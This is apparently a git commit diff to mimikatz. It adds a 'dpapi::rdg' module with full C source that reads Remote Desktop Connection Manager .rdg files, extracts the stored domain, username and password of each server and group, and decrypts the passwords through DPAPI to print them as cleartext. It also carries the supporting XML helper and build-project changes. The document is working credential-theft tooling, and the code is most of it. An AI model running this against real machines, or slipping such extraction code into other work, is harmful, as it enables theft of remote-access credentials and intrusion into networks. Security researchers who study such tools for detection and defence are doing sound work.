[new] mimikatz dpapi::rdg to decrypt saved passwords in RDG files (Remote Desktop Connection Manager)

This commit is contained in:
Benjamin DELPY 2018-08-19 17:01:41 -07:00
parent 3134be808f
commit b87468c1b4
10 changed files with 197 additions and 3 deletions

View File

@ -74,7 +74,7 @@ void mimikatz_begin()
#endif
kprintf(L"\n"
L" .#####. " MIMIKATZ_FULL L"\n"
L" .## ^ ##. " MIMIKATZ_SECOND L" - (oe.eo) ** Vegas Edition **\n"
L" .## ^ ##. " MIMIKATZ_SECOND L" - (oe.eo) ** Kitten Edition **\n"
L" ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
L" ## \\ / ## > http://blog.gentilkiwi.com/mimikatz\n"
L" '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )\n"

View File

@ -152,6 +152,7 @@
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_chrome.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_creds.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_keys.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_rdg.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_ssh.c" />
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_wlan.c" />
<ClCompile Include="modules\kerberos\kuhl_m_kerberos.c" />
@ -250,6 +251,7 @@
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_chrome.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_creds.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_keys.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_rdg.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_ssh.h" />
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_wlan.h" />
<ClInclude Include="modules\kerberos\kuhl_m_kerberos.h" />

View File

@ -278,6 +278,9 @@
<ClCompile Include="modules\kuhl_m_acr.c">
<Filter>local modules</Filter>
</ClCompile>
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_rdg.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
@ -572,6 +575,9 @@
<ClInclude Include="modules\kuhl_m_acr.h">
<Filter>local modules</Filter>
</ClInclude>
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_rdg.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">

View File

@ -21,6 +21,7 @@ const KUHL_M_C kuhl_m_c_dpapi[] = {
{kuhl_m_dpapi_chrome, L"chrome", L"Chrome test"},
#endif
{kuhl_m_dpapi_ssh, L"ssh", L"SSH Agent registry cache"},
{kuhl_m_dpapi_rdg, L"rdg", L"RDG saved passwords"},
{kuhl_m_dpapi_oe_cache, L"cache", NULL},
};
const KUHL_M kuhl_m_dpapi = {

View File

@ -15,6 +15,7 @@
#include "packages/kuhl_m_dpapi_wlan.h"
#include "packages/kuhl_m_dpapi_chrome.h"
#include "packages/kuhl_m_dpapi_ssh.h"
#include "packages/kuhl_m_dpapi_rdg.h"
const KUHL_M kuhl_m_dpapi;

View File

@ -0,0 +1,143 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_dpapi_rdg.h"
NTSTATUS kuhl_m_dpapi_rdg(int argc, wchar_t * argv[])
{
PCWSTR filename;
IXMLDOMDocument *pXMLDom;
IXMLDOMNode *pNode;
if(kull_m_string_args_byName(argc, argv, L"in", &filename, NULL))
{
if(pXMLDom = kull_m_xml_CreateAndInitDOM())
{
if(kull_m_xml_LoadXMLFile(pXMLDom, filename))
{
if((IXMLDOMDocument_selectSingleNode(pXMLDom, (BSTR) L"//RDCMan/file", &pNode) == S_OK) && pNode)
{
kprintf(L"<ROOT>\n");
kuhl_m_dpapi_rdg_Groups(1, pNode, argc, argv);
}
}
kull_m_xml_ReleaseDom(pXMLDom);
}
}
else PRINT_ERROR(L"Missing /in:filename.rdg\n");
return STATUS_SUCCESS;
}
void kuhl_m_dpapi_rdg_Groups(DWORD level, IXMLDOMNode *pNode, int argc, wchar_t * argv[])
{
IXMLDOMNodeList *pGroups;
IXMLDOMNode *pGroup, *pProperties;
DOMNodeType type;
long lengthGroups, i;
wchar_t *name;
kuhl_m_dpapi_rdg_LogonCredentials(level, pNode, argc, argv);
kuhl_m_dpapi_rdg_Servers(level, pNode, argc, argv);
if((IXMLDOMNode_selectNodes(pNode, L"group", &pGroups) == S_OK) && pGroups)
{
if(IXMLDOMNodeList_get_length(pGroups, &lengthGroups) == S_OK)
{
for(i = 0; i < lengthGroups; i++)
{
if((IXMLDOMNodeList_get_item(pGroups, i, &pGroup) == S_OK) && pGroup)
{
if((IXMLDOMNode_get_nodeType(pGroup, &type) == S_OK) && (type == NODE_ELEMENT))
{
if((IXMLDOMNode_selectSingleNode(pGroup, L"properties", &pProperties) == S_OK) && pProperties)
{
if(name = kull_m_xml_getTextValue(pProperties, L"name"))
{
kprintf(L"%*s" L"<%s>\n", level << 1, L"", name);
LocalFree(name);
}
}
kuhl_m_dpapi_rdg_Groups(level + 1, pGroup, argc, argv);
}
IXMLDOMNode_Release(pGroup);
}
}
}
}
}
void kuhl_m_dpapi_rdg_Servers(DWORD level, IXMLDOMNode *pNode, int argc, wchar_t * argv[])
{
IXMLDOMNodeList *pServers;
IXMLDOMNode *pServer, *pProperties;
DOMNodeType type;
long lengthServers, i;
wchar_t *name;
if((IXMLDOMNode_selectNodes(pNode, L"server", &pServers) == S_OK) && pServers)
{
if(IXMLDOMNodeList_get_length(pServers, &lengthServers) == S_OK)
{
for(i = 0; i < lengthServers; i++)
{
if((IXMLDOMNodeList_get_item(pServers, i, &pServer) == S_OK) && pServer)
{
if((IXMLDOMNode_get_nodeType(pServer, &type) == S_OK) && (type == NODE_ELEMENT))
{
if((IXMLDOMNode_selectSingleNode(pServer, L"properties", &pProperties) == S_OK) && pProperties)
{
if(name = kull_m_xml_getTextValue(pProperties, L"name"))
{
kprintf(L"%*s" L"| %s\n", level << 1, L"", name);
LocalFree(name);
}
}
kuhl_m_dpapi_rdg_LogonCredentials(level + 1, pServer, argc, argv);
}
IXMLDOMNode_Release(pServer);
}
}
}
}
}
void kuhl_m_dpapi_rdg_LogonCredentials(DWORD level, IXMLDOMNode *pNode, int argc, wchar_t * argv[])
{
IXMLDOMNode *pLogonCredentialsNode;
wchar_t *userName, *domain, *password;
LPBYTE data;
LPVOID pDataOut;
DWORD szData, dwDataOutLen;
if((IXMLDOMNode_selectSingleNode(pNode, L"logonCredentials", &pLogonCredentialsNode) == S_OK) && pLogonCredentialsNode)
{
if(userName = kull_m_xml_getTextValue(pLogonCredentialsNode, L"userName"))
{
if(domain = kull_m_xml_getTextValue(pLogonCredentialsNode, L"domain"))
{
if(password = kull_m_xml_getTextValue(pLogonCredentialsNode, L"password"))
{
kprintf(L"%*s" L"* %s \\ %s : %s\n", level << 1, L"", domain, userName, password);
if(kull_m_string_quick_base64_to_Binary(password, &data, &szData))
{
if(szData >= (sizeof(DWORD) + sizeof(GUID)))
{
if(RtlEqualGuid((PBYTE) data + sizeof(DWORD), &KULL_M_DPAPI_GUID_PROVIDER))
{
if(kuhl_m_dpapi_unprotect_raw_or_blob(data, szData, NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL))
kprintf(L"%*s" L">> cleartext password: %.*s\n", level << 1, L"", dwDataOutLen / sizeof(wchar_t), pDataOut);
}
else PRINT_ERROR(L"Maybe certificate encryption (todo)\n");
}
else PRINT_ERROR(L"szData: %u\n", szData);
LocalFree(data);
}
LocalFree(password);
}
LocalFree(domain);
}
LocalFree(userName);
}
}
}

View File

@ -0,0 +1,15 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "../kuhl_m_dpapi.h"
#include "../../../../modules/kull_m_xml.h"
#include "../../../../modules/kull_m_string.h"
NTSTATUS kuhl_m_dpapi_rdg(int argc, wchar_t * argv[]);
void kuhl_m_dpapi_rdg_Groups(DWORD level, IXMLDOMNode *pNode, int argc, wchar_t * argv[]);
void kuhl_m_dpapi_rdg_Servers(DWORD level, IXMLDOMNode *pNode, int argc, wchar_t * argv[]);
void kuhl_m_dpapi_rdg_LogonCredentials(DWORD level, IXMLDOMNode *pNode, int argc, wchar_t * argv[]);

View File

@ -490,7 +490,6 @@ BOOL kull_m_string_stringToFileTime(LPCWSTR string, PFILETIME filetime)
}
}
if(status)
{
status = FALSE;

View File

@ -108,6 +108,32 @@ wchar_t * kull_m_xml_getAttribute(IXMLDOMNode *pNode, PCWSTR name)
}
}
IXMLDOMNamedNodeMap_Release(map);
}
return result;
}
wchar_t * kull_m_xml_getTextValue(IXMLDOMNode *pNode, PCWSTR name)
{
wchar_t *result = NULL;
IXMLDOMNode *pSingleNode, *pChild;
BSTR bstrGeneric;
if((IXMLDOMNode_selectSingleNode(pNode, (BSTR) name, &pSingleNode) == S_OK) && pSingleNode)
{
if((IXMLDOMNode_get_firstChild(pSingleNode, &pChild) == S_OK) && pChild)
{
if(IXMLDOMNode_get_text(pChild, &bstrGeneric) == S_OK)
{
kull_m_string_copy(&result, bstrGeneric);
SysFreeString(bstrGeneric);
}
}
}
return result;
}

View File

@ -14,4 +14,5 @@ void kull_m_xml_ReleaseDom(IXMLDOMDocument *pDoc);
BOOL kull_m_xml_LoadXMLFile(IXMLDOMDocument *pXMLDom, PCWSTR filename);
BOOL kull_m_xml_SaveXMLFile(IXMLDOMDocument *pXMLDom, PCWSTR filename);
wchar_t * kull_m_xml_getAttribute(IXMLDOMNode *pNode, PCWSTR name);
wchar_t * kull_m_xml_getAttribute(IXMLDOMNode *pNode, PCWSTR name);
wchar_t * kull_m_xml_getTextValue(IXMLDOMNode *pNode, PCWSTR name);